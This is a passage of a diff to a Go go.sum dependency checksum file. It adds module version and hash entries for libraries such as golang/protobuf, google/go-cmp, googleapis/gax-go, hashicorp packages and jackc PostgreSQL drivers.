+github.com/go-playground/assert/v2 v2.2.0/go.mod h1:VDjEfimB/XKnb+ZQfWdccd7VUvScMdVu0Titje2rxJ4= +github.com/go-playground/locales v0.14.1/go.mod h1:hxrqLVvrK65+Rwrd5Fc6F2O76J/NuW9t0sjnWqG1slY= +github.com/go-playground/universal-translator v0.18.1/go.mod h1:xekY+UJKNuX9WP91TpwSH2VMlDf28Uj24BCp08ZFTUY= +github.com/go-playground/validator/v10 v10.14.0/go.mod h1:9iXMNT7sEkjXb0I+enO7QXmzG6QCsPWY4zveKFVRSyU= +github.com/go-playground/validator/v10 v10.14.1/go.mod h1:9iXMNT7sEkjXb0I+enO7QXmzG6QCsPWY4zveKFVRSyU= github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY= +github.com/go-task/slim-sprig v0.0.0-20210107165309-348f09dbbbc0/go.mod h1:fyg7847qk6SyHyPtNmDHnmrv/HOrqktSC+C9fM+CJOE= +github.com/go-task/slim-sprig v0.0.0-20230315185526-52ccab3ef572/go.mod h1:9Pwr4B2jHnOSGXyyzV8ROjYa2ojvAY6HCGYYfMoC3Ls= +github.com/gobwas/glob v0.2.3/go.mod h1:d3Ez4x06l9bZtSvzIay5+Yzi0fmZzPgnTbPcKjJAkT8= +github.com/gobwas/httphead v0.1.0/go.mod h1:O/RXo79gxV8G+RqlR/otEwx4Q36zl9rqC5u12GKvMCM= +github.com/gobwas/pool v0.2.1/go.mod h1:q8bcK0KcYlCgd9e7WYLm9LpyS+YeLd8JVDW6WezmKEw= +github.com/gobwas/ws v1.3.0/go.mod h1:hRKAFb8wOxFROYNsT1bqfWnhX+b5MFeJM9r2ZSwg/KY= +github.com/goccy/go-json v0.9.11/go.mod h1:6MelG93GURQebXPDq3khkgXZkazVtN9CRI+MGFi0w8I= +github.com/goccy/go-json v0.10.2/go.mod h1:6MelG93GURQebXPDq3khkgXZkazVtN9CRI+MGFi0w8I= +github.com/godbus/dbus/v5 v5.0.4/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA= github.com/gofrs/uuid v4.0.0+incompatible h1:1SD/1F5pU8p29ybwgQSwpQk+mwdRrXCYuPhW6m+TnJw= github.com/gofrs/uuid v4.0.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM= github.com/gogo/protobuf v1.1.1/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7atdtwQ= github.com/gogo/protobuf v1.2.1/go.mod h1:hp+jE20tsWTFYpLwKvXlhS1hjn+gTNwPg2I6zVXpSg4= github.com/gogo/protobuf v1.3.2 h1:Ov1cvc58UF3b5XjBnZv7+opcTcQFZebYjWzi34vdm4Q= github.com/gogo/protobuf v1.3.2/go.mod h1:P1XiOD3dCwIKUDQYPy72D8LYyHL2YPYrpS2s69NZV8Q= +github.com/golang-jwt/jwt v3.2.2+incompatible/go.mod h1:8pz2t5EyA70fFQQSrl6XZXzqecmYZeUEB8OUGHkxJ+I= +github.com/golang/freetype v0.0.0-20170609003504-e2365dfdc4a0/go.mod h1:E/TSTwGwJL78qG/PmXZO1EjYhfJinVAhrmmHX6Z8B9k= github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q= +github.com/golang/glog v1.0.0/go.mod h1:EWib/APOK0SL3dFbYqvxE3UYd8E6s1ouQ7iEp/0LWV4= github.com/golang/glog v1.1.0 h1:/d3pCKDPWNnvIWe0vVUpNP32qc8U3PDVxySP/y360qE= github.com/golang/glog v1.1.0/go.mod h1:pfYeQZ3JWZoXTV5sFc986z3HTpwQs9At6P4ImfuP3NQ= github.com/golang/groupcache v0.0.0-20190129154638-5b532d6fd5ef/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= github.com/golang/groupcache v0.0.0-20190702054246-869f871628b6/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= github.com/golang/groupcache v0.0.0-20191227052852-215e87163ea7/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= github.com/golang/groupcache v0.0.0-20200121045136-8c9f03a8e57e/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= +github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= github.com/golang/mock v1.2.0/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A= github.com/golang/mock v1.3.1/go.mod h1:sBzyDLLjw3U8JLTeZvSv8jJB+tU5PVekmnlKIyFUx0Y= @@ -152,6 +997,9 @@ github.com/golang/mock v1.4.0/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt github.com/golang/mock v1.4.1/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw= github.com/golang/mock v1.4.3/go.mod h1:UOMv5ysSaYNkG+OFQykRIcU/QvvxJf3p21QfJ2Bt3cw= github.com/golang/mock v1.4.4/go.mod h1:l3mdAwkq5BuhzHwde/uurv3sEJeZMXNpwsxVWU71h+4= +github.com/golang/mock v1.5.0/go.mod h1:CWnOUgYIOo4TcNZ0wHX3YZCqsaM1I1Jvs6v3mP3KVu8= +github.com/golang/mock v1.6.0/go.mod h1:p6yTPP+5HYm5mzsMV8JkE6ZKdX+/wYM6Hr+LicevLPs= +github.com/golang/protobuf v1.0.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= github.com/golang/protobuf v1.3.1/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= github.com/golang/protobuf v1.3.2/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= @@ -167,11 +1015,16 @@ github.com/golang/protobuf v1.4.1/go.mod h1:U8fpvMrcmy5pZrNK1lt4xCsGvpyWQ/VVv6QD github.com/golang/protobuf v1.4.2/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI= github.com/golang/protobuf v1.4.3/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI= github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk= +github.com/golang/protobuf v1.5.1/go.mod h1:DopwsBzvsk0Fs44TXzsVbJyPhcCPeIwnvohx4u74HPM= github.com/golang/protobuf v1.5.2/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY= github.com/golang/protobuf v1.5.3 h1:KhyjKVUg7Usr/dYsdSqoFveMYd5ko72D+zANwlG1mmg= github.com/golang/protobuf v1.5.3/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY= +github.com/golang/snappy v0.0.3/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= +github.com/golang/snappy v0.0.4/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q= +github.com/gomarkdown/markdown v0.0.0-20230716120725-531d2d74bc12/go.mod h1:JDGcbDT52eL4fju3sZ4TeHGsQwhG9nbDV21aMyhwPoA= github.com/google/btree v0.0.0-20180813153112-4030bb1f1f0c/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= github.com/google/btree v1.0.0/go.mod h1:lNA+9X1NB3Zf8V7Ke586lFgjr2dZNuvo3lPJSGZ5JPQ= +github.com/google/flatbuffers v2.0.8+incompatible/go.mod h1:1AeVuKshWv4vARoZatz6mlQ0JxURH0Kv5+zNeJKJCa8= github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M= github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= @@ -179,12 +1032,22 @@ github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/ github.com/google/go-cmp v0.4.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.1/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.2/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.3/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.4/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.6/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.7/go.mod h1:n+brtR0CgQNWTVd5ZUFpTBC8YFBDLK/h/bpaJ8/DtOE= +github.com/google/go-cmp v0.5.8/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= github.com/google/go-cmp v0.5.9 h1:O2Tfq5qg4qc4AmwVlvv0oLiVAGB7enBSJ2x2DqQFi38= +github.com/google/go-cmp v0.5.9/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= +github.com/google/go-querystring v1.1.0/go.mod h1:Kcdr2DB4koayq7X8pmAG4sNG59So17icRSOU623lUBU= github.com/google/gofuzz v1.0.0/go.mod h1:dBl0BpW6vV/+mYPU4Po3pmUjxk6FQPldtuIdl/M65Eg= github.com/google/martian v2.1.0+incompatible/go.mod h1:9I4somxYTbIHy5NJKHRl3wXiIaQGbYVAs8BPL6v8lEs= github.com/google/martian/v3 v3.0.0/go.mod h1:y5Zk1BBys9G+gd6Jrk0W3cC1+ELVxBWuIGO+w/tUAp0= +github.com/google/martian/v3 v3.1.0/go.mod h1:y5Zk1BBys9G+gd6Jrk0W3cC1+ELVxBWuIGO+w/tUAp0= +github.com/google/martian/v3 v3.2.1/go.mod h1:oBOf6HBosgwRXnUGWUB05QECsc6uvmMiJ3+6W4l/CUk= +github.com/google/martian/v3 v3.3.2/go.mod h1:oBOf6HBosgwRXnUGWUB05QECsc6uvmMiJ3+6W4l/CUk= github.com/google/pprof v0.0.0-20181206194817-3ea8567a2e57/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc= github.com/google/pprof v0.0.0-20190515194954-54271f7e092f/go.mod h1:zfwlbNMJ+OItoe0UupaVj+oy1omPYYDuagoSzA8v9mc= github.com/google/pprof v0.0.0-20191218002539-d4f498aebedc/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= @@ -192,17 +1055,51 @@ github.com/google/pprof v0.0.0-20200212024743-f11f1df84d12/go.mod h1:ZgVRPoUq/hf github.com/google/pprof v0.0.0-20200229191704-1ebb73c60ed3/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= github.com/google/pprof v0.0.0-20200430221834-fc25d7d30c6d/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= github.com/google/pprof v0.0.0-20200708004538-1a94d8640e99/go.mod h1:ZgVRPoUq/hfqzAqh7sHMqb3I9Rq5C59dIz2SbBwJ4eM= +github.com/google/pprof v0.0.0-20201023163331-3e6fc7fc9c4c/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= +github.com/google/pprof v0.0.0-20201203190320-1bf35d6f28c2/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= +github.com/google/pprof v0.0.0-20210122040257-d980be63207e/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= +github.com/google/pprof v0.0.0-20210226084205-cbba55b83ad5/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= +github.com/google/pprof v0.0.0-20210407192527-94a9f03dee38/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= +github.com/google/pprof v0.0.0-20210601050228-01bbb1931b22/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= +github.com/google/pprof v0.0.0-20210609004039-a478d1d731e9/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= +github.com/google/pprof v0.0.0-20210720184732-4bb14d4b1be1/go.mod h1:kpwsk12EmLew5upagYY7GY0pfYCcupk39gWOCRROcvE= github.com/google/renameio v0.1.0/go.mod h1:KWCgfxg9yswjAJkECMjeO8J8rahYeXnNhOm40UhjYkI= +github.com/google/s2a-go v0.1.0/go.mod h1:OJpEgntRZo8ugHpF9hkoLJbS5dSI20XZeXJ9JVywLlM= +github.com/google/s2a-go v0.1.3/go.mod h1:Ej+mSEMGRnqRzjc7VtF+jdBwYG5fuJfiZ8ELkjEwM0A= +github.com/google/s2a-go v0.1.4/go.mod h1:Ej+mSEMGRnqRzjc7VtF+jdBwYG5fuJfiZ8ELkjEwM0A= github.com/google/uuid v0.0.0-20161128191214-064e2069ce9c/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/google/uuid v1.0.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/google/uuid v1.1.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/google/uuid v1.1.2/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/google/uuid v1.3.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/google/uuid v1.4.0 h1:MtMxsa51/r9yyhkyLsVeVt0B+BGQZzpQiTQ4eHZ8bc4= github.com/google/uuid v1.4.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/googleapis/enterprise-certificate-proxy v0.0.0-20220520183353-fd19c99a87aa/go.mod h1:17drOmN3MwGY7t0e+Ei9b45FFGA3fBs3x36SsCg1hq8= +github.com/googleapis/enterprise-certificate-proxy v0.1.0/go.mod h1:17drOmN3MwGY7t0e+Ei9b45FFGA3fBs3x36SsCg1hq8= +github.com/googleapis/enterprise-certificate-proxy v0.2.0/go.mod h1:8C0jb7/mgJe/9KK8Lm7X9ctZC2t60YyIpYEI16jx0Qg= +github.com/googleapis/enterprise-certificate-proxy v0.2.1/go.mod h1:AwSRAtLfXpU5Nm3pW+v7rGDHp09LsPtGY9MduiEsR9k= +github.com/googleapis/enterprise-certificate-proxy v0.2.3/go.mod h1:AwSRAtLfXpU5Nm3pW+v7rGDHp09LsPtGY9MduiEsR9k= github.com/googleapis/gax-go/v2 v2.0.4/go.mod h1:0Wqv26UfaUD9n4G6kQubkQ+KchISgw+vpHVxEJEs9eg= github.com/googleapis/gax-go/v2 v2.0.5/go.mod h1:DWXyrwAJ9X0FpwwEdw+IPEYBICEFu5mhpdKc/us6bOk= +github.com/googleapis/gax-go/v2 v2.1.0/go.mod h1:Q3nei7sK6ybPYH7twZdmQpAd1MKb7pfu6SK+H1/DsU0= +github.com/googleapis/gax-go/v2 v2.1.1/go.mod h1:hddJymUZASv3XPyGkUpKj8pPO47Rmb0eJc8R6ouapiM= +github.com/googleapis/gax-go/v2 v2.2.0/go.mod h1:as02EH8zWkzwUoLbBaFeQ+arQaj/OthfcblKl4IGNaM= +github.com/googleapis/gax-go/v2 v2.3.0/go.mod h1:b8LNqSzNabLiUpXKkY7HAR5jr6bIT99EXz9pXxye9YM= +github.com/googleapis/gax-go/v2 v2.4.0/go.mod h1:XOTVJ59hdnfJLIP/dh8n5CGryZR2LxK9wbMD5+iXC6c= +github.com/googleapis/gax-go/v2 v2.5.1/go.mod h1:h6B0KMMFNtI2ddbGJn3T3ZbwkeT6yqEF02fYlzkUCyo= +github.com/googleapis/gax-go/v2 v2.6.0/go.mod h1:1mjbznJAPHFpesgE5ucqfYEscaz5kMdcIDwU/6+DDoY= +github.com/googleapis/gax-go/v2 v2.7.0/go.mod h1:TEop28CZZQ2y+c0VxMUmu1lV+fQx57QpBWsYpwqHJx8= +github.com/googleapis/gax-go/v2 v2.7.1/go.mod h1:4orTrqY6hXxxaUL4LHIPl6lGo8vAE38/qKbhSAKP6QI= +github.com/googleapis/gax-go/v2 v2.8.0/go.mod h1:4orTrqY6hXxxaUL4LHIPl6lGo8vAE38/qKbhSAKP6QI= +github.com/googleapis/gax-go/v2 v2.10.0/go.mod h1:4UOEnMCrxsSqQ940WnTiD6qJ63le2ev3xfyagutxiPw= +github.com/googleapis/gax-go/v2 v2.11.0/go.mod h1:DxmR61SGKkGLa2xigwuZIQpkCI2S5iydzRfb3peWZJI= +github.com/googleapis/go-type-adapters v1.0.0/go.mod h1:zHW75FOG2aur7gAO2B+MLby+cLsWGBF62rFAi7WjWO4= github.com/gopherjs/gopherjs v0.0.0-20181017120253-0766667cb4d1/go.mod h1:wJfORRmW1u3UXTncJ5qlYoELFm8eSnnEO6hX4iZ3EWY= +github.com/gorilla/css v1.0.0/go.mod h1:Dn721qIggHpt4+EFCcTLTU/vk5ySda2ReITrtgBl60c= +github.com/gorilla/securecookie v1.1.1/go.mod h1:ra0sb63/xPlUeL+yeDciTfxMRAA+MP+HVt/4epWDjd4= github.com/gorilla/websocket v1.4.0/go.mod h1:E7qHFY5m1UJ88s3WnNqhKjPHQ0heANvMoAMk2YaljkQ= +github.com/gorilla/websocket v1.5.0/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE= github.com/grpc-ecosystem/go-grpc-middleware v1.0.0/go.mod h1:FiyG127CGDf3tlThmgyCl78X/SZQqEOJBCDaAfeWzPs= github.com/grpc-ecosystem/go-grpc-middleware v1.3.0 h1:+9834+KizmvFV7pXQGSXQTsaWhq2GjuNUt0aUU0YBYw= github.com/grpc-ecosystem/go-grpc-middleware v1.3.0/go.mod h1:z0ButlSOZa5vEBq9m2m2hlwIgKw+rp3sdCBRoJY+30Y= @@ -211,19 +1108,52 @@ github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0/go.mod h1:8NvIoxWQoOIhqOTXgf github.com/grpc-ecosystem/grpc-gateway v1.9.0/go.mod h1:vNeuVxBJEsws4ogUvrchl83t/GYV9WGTSLVdBhOQFDY= github.com/grpc-ecosystem/grpc-gateway v1.16.0 h1:gmcG1KaJ57LophUzW0Hy8NmPhnMZb4M0+kPpLofRdBo= github.com/grpc-ecosystem/grpc-gateway v1.16.0/go.mod h1:BDjrQk3hbvj6Nolgz8mAMFbcEtjT1g+wF4CSlocrBnw= +github.com/grpc-ecosystem/grpc-gateway/v2 v2.7.0/go.mod h1:hgWBS7lorOAVIJEQMi4ZsPv9hVvWI6+ch50m39Pf2Ks= +github.com/grpc-ecosystem/grpc-gateway/v2 v2.11.3/go.mod h1:o//XUCC/F+yRGJoPO/VU0GSB0f8Nhgmxx0VIRUvaC0w= github.com/grpc-ecosystem/grpc-gateway/v2 v2.17.0 h1:Rme6CE1aUTyV9WmrEPyGf1V+7W3iQzZ1DZkKnT6z9B0= github.com/grpc-ecosystem/grpc-gateway/v2 v2.17.0/go.mod h1:Hbb13e3/WtqQ8U5hLGkek9gJvBLasHuPFI0UEGfnQ10= +github.com/hashicorp/consul/api v1.18.0/go.mod h1:owRRGJ9M5xReDC5nfT8FTJrNAPbT4NM6p/k+d03q2v4= +github.com/hashicorp/consul/sdk v0.13.0/go.mod h1:0hs/l5fOVhJy/VdcoaNqUSi2AUs95eF5WKtv+EYIQqE= +github.com/hashicorp/errwrap v1.0.0/go.mod h1:YH+1FKiLXxHSkmPseP+kNlulaMuP3n2brvKWEqk/Jc4= +github.com/hashicorp/go-cleanhttp v0.5.0/go.mod h1:JpRdi6/HCYpAwUzNwuwqhbovhLtngrth3wmdIIUrZ80= +github.com/hashicorp/go-cleanhttp v0.5.1/go.mod h1:JpRdi6/HCYpAwUzNwuwqhbovhLtngrth3wmdIIUrZ80= +github.com/hashicorp/go-cleanhttp v0.5.2/go.mod h1:kO/YDlP8L1346E6Sodw+PrpBSV4/SoxCXGY6BqNFT48= +github.com/hashicorp/go-hclog v0.12.0/go.mod h1:whpDNt7SSdeAju8AWKIWsul05p54N/39EeqMAyrmvFQ= +github.com/hashicorp/go-hclog v1.2.0/go.mod h1:whpDNt7SSdeAju8AWKIWsul05p54N/39EeqMAyrmvFQ= +github.com/hashicorp/go-immutable-radix v1.0.0/go.mod h1:0y9vanUI8NX6FsYoO3zeMjhV/C5i9g4Q3DwcSNZ4P60= +github.com/hashicorp/go-immutable-radix v1.3.1/go.mod h1:0y9vanUI8NX6FsYoO3zeMjhV/C5i9g4Q3DwcSNZ4P60= +github.com/hashicorp/go-msgpack v0.5.3/go.mod h1:ahLV/dePpqEmjfWmKiqvPkv/twdG7iPBM1vqhUKIvfM= +github.com/hashicorp/go-multierror v1.0.0/go.mod h1:dHtQlpGsu+cZNNAkkCN/P3hoUDHhCYQXV3UM06sGGrk= +github.com/hashicorp/go-multierror v1.1.0/go.mod h1:spPvp8C1qA32ftKqdAHm4hHTbPw+vmowP0z+KUhOZdA= +github.com/hashicorp/go-retryablehttp v0.5.3/go.mod h1:9B5zBasrRhHXnJnui7y6sL7es7NDiJgTc6Er0maI1Xs= +github.com/hashicorp/go-rootcerts v1.0.2/go.mod h1:pqUvnprVnM5bf7AOirdbb01K4ccR319Vf4pU3K5EGc8= +github.com/hashicorp/go-sockaddr v1.0.0/go.mod h1:7Xibr9yA9JjQq1JpNB2Vw7kxv8xerXegt+ozgdvDeDU= +github.com/hashicorp/go-sockaddr v1.0.2/go.mod h1:rB4wwRAUzs07qva3c5SdrY/NEtAUjGlgmH/UkBUC97A= +github.com/hashicorp/go-syslog v1.0.0/go.mod h1:qPfqrKkXGihmCqbJM2mZgkZGvKG1dFdvsLplgctolz4= +github.com/hashicorp/go-uuid v1.0.0/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= +github.com/hashicorp/go-uuid v1.0.1/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= +github.com/hashicorp/go-uuid v1.0.2/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro= +github.com/hashicorp/go-version v1.2.1/go.mod h1:fltr4n8CU8Ke44wwGCBoEymUuxUHl09ZGVZPK5anwXA= github.com/hashicorp/golang-lru v0.5.0/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= github.com/hashicorp/golang-lru v0.5.1/go.mod h1:/m3WP610KZHVQ1SGc6re/UDhFvYD7pJ4Ao+sR/qLZy8= +github.com/hashicorp/golang-lru v0.5.4/go.mod h1:iADmTwqILo4mZ8BN3D2Q6+9jd8WM5uGBxy+E8yxSoD4= github.com/hashicorp/hcl v1.0.0 h1:0Anlzjpi4vEasTeNFn2mLJgTSwt0+6sfsiTG8qcWGx4= github.com/hashicorp/hcl v1.0.0/go.mod h1:E5yfLk+7swimpb2L/Alb/PJmXilQ/rhwaUYs4T20WEQ= +github.com/hashicorp/logutils v1.0.0/go.mod h1:QIAnNjmIWmVIIkWDTG1z5v++HQmx9WQRO+LraFDTW64= +github.com/hashicorp/mdns v1.0.4/go.mod h1:mtBihi+LeNXGtG8L9dX59gAEa12BDtBQSp4v/YAJqrc= +github.com/hashicorp/memberlist v0.5.0/go.mod h1:yvyXLpo0QaGE59Y7hDTsTzDD25JYBZ4mHgHUZ8lrOI0= +github.com/hashicorp/serf v0.10.1/go.mod h1:yL2t6BqATOLGc5HF7qbFkTfXoPIY0WZdWHfEvMqbG+4= +github.com/hpcloud/tail v1.0.0/go.mod h1:ab1qPbhIpdTxEkNHXyeSf5vhxWSCs/tWer42PpOxQnU= github.com/huandu/xstrings v1.0.0/go.mod h1:4qWG/gcEcfX4z/mBDHJ++3ReCw9ibxbsNJbcucJdbSo= github.com/huandu/xstrings v1.3.2 h1:L18LIDzqlW6xN2rEkpdV8+oL/IXWJ1APd+vsdYy4Wdw= github.com/huandu/xstrings v1.3.2/go.mod h1:y5/lhBue+AyNmUVz9RLU9xbLR0o4KIIExikq4ovT0aE= +github.com/iancoleman/strcase v0.2.0/go.mod h1:iwCmte+B7n89clKwxIoIXy/HfoL7AsD47ZCWhYzw7ho= github.com/ianlancetaylor/demangle v0.0.0-20181102032728-5e5cf60278f6/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc= +github.com/ianlancetaylor/demangle v0.0.0-20200824232613-28f6c0f3b639/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc= github.com/imdario/mergo v0.3.4/go.mod h1:2EnlNZ0deacrJVfApfmtdGgDfMuh/nq6Ok1EcJh5FfA= github.com/imdario/mergo v0.3.13 h1:lFzP57bqS/wsqKssCGmtLAb8A0wKjLGrve2q3PPVcBk= github.com/imdario/mergo v0.3.13/go.mod h1:4lJ1jqUDcsbIECGy0RUJAXNIhg+6ocWgb1ALK2O4oXg= +github.com/imkira/go-interpol v1.1.0/go.mod h1:z0h2/2T3XF8kyEPpRgJ3kmNv+C43p+I/CoI+jC3w2iA= github.com/inconshreveable/mousetrap v1.0.0/go.mod h1:PxqpIevigyE2G7u3NXJIT2ANytuPF1OarO4DADm73n8= github.com/inconshreveable/mousetrap v1.0.1 h1:U3uMjPSQEBMNp1lFxmllqCPM6P5u/Xq7Pgzkat/bFNc= github.com/inconshreveable/mousetrap v1.0.1/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw= @@ -231,6 +1161,10 @@ github.com/influxdata/influxdb-client-go/v2 v2.13.0 h1:ioBbLmR5NMbAjP4UVA5r9b5xG github.com/influxdata/influxdb-client-go/v2 v2.13.0/go.mod h1:k+spCbt9hcvqvUiz0sr5D8LolXHqAAOfPw9v/RIRHl4= github.com/influxdata/line-protocol v0.0.0-20200327222509-2487e7298839 h1:W9WBk7wlPfJLvMCdtV4zPulc4uCPrlywQOmbFOhgQNU= github.com/influxdata/line-protocol v0.0.0-20200327222509-2487e7298839/go.mod h1:xaLFMmpvUxqXtVkUJfg9QmT88cDaCJ3ZKgdZ78oO8Qo= +github.com/iris-contrib/go.uuid v2.0.0+incompatible/go.mod h1:iz2lgM/1UnEf1kP0L/+fafWORmlnuysV2EMP8MW+qe0= +github.com/iris-contrib/httpexpect/v2 v2.15.1/go.mod h1:cUwf1Mm5CWs5ahZNHtDq82WuGOitAWBg/eMGevX9ilg= +github.com/iris-contrib/schema v0.0.6/go.mod h1:iYszG0IOsuIsfzjymw1kMzTL8YQcCWlm65f3wX8J5iA= +github.com/jackc/chunkreader v1.0.0 h1:4s39bBR8ByfqH+DKm8rQA3E1LHZWB9XWcrz8fqaZbe0= github.com/jackc/chunkreader v1.0.0/go.mod h1:RT6O25fNZIuasFJRyZ4R/Y2BbhasbmZXF9QQ7T3kePo= github.com/jackc/chunkreader/v2 v2.0.0/go.mod h1:odVSm741yZoC3dpHEUXIqA9tQRhFrgOHwnPIn9lDKlk= github.com/jackc/chunkreader/v2 v2.0.1 h1:i+RDz65UE+mmpjTfyz0MoVTnzeYxroil2G82ki7MGG8= @@ -251,6 +1185,7 @@ github.com/jackc/pgmock v0.0.0-20210724152146-4ad1a8207f65 h1:DadwsjnMwFjfWc9y5W github.com/jackc/pgmock v0.0.0-20210724152146-4ad1a8207f65/go.mod h1:5R2h2EEX+qri8jOWMbJCtaPWkrrNc7OHwsp2TCqp7ak= github.com/jackc/pgpassfile v1.0.0 h1:/6Hmqy13Ss2zCq62VdNG8tM1wchn8zjSGOBJ6icpsIM= github.com/jackc/pgpassfile v1.0.0/go.mod h1:CEx0iS5ambNFdcRtxPj5JhEz+xB6uRky5eyVu/W2HEg= +github.com/jackc/pgproto3 v1.1.0 h1:FYYE4yRw+AgI8wXIinMlNjBbp/UitDJwfj5LqqewP1A= github.com/jackc/pgproto3 v1.1.0/go.mod h1:eR5FA3leWg7p9aeAqi37XOTgTIbkABlvcPB3E5rlc78= github.com/jackc/pgproto3/v2 